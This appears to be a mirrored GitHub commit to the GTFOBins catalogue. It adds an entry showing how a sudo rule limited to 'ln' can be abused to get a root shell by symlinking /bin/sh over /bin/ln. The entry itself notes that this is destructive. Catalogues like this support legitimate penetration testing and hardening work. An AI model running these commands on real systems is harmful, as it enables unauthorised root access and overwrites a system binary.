mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Add ln sudo
This commit is contained in:
parent
ee3eb38ee4
commit
fcde0d9160
8
_gtfobins/ln.md
Normal file
8
_gtfobins/ln.md
Normal file
@ -0,0 +1,8 @@
|
||||
---
|
||||
description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.
|
||||
functions:
|
||||
sudo:
|
||||
- code: |
|
||||
sudo ln -fs /bin/sh /bin/ln
|
||||
sudo ln
|
||||
---
|
Loading…
Reference in New Issue
Block a user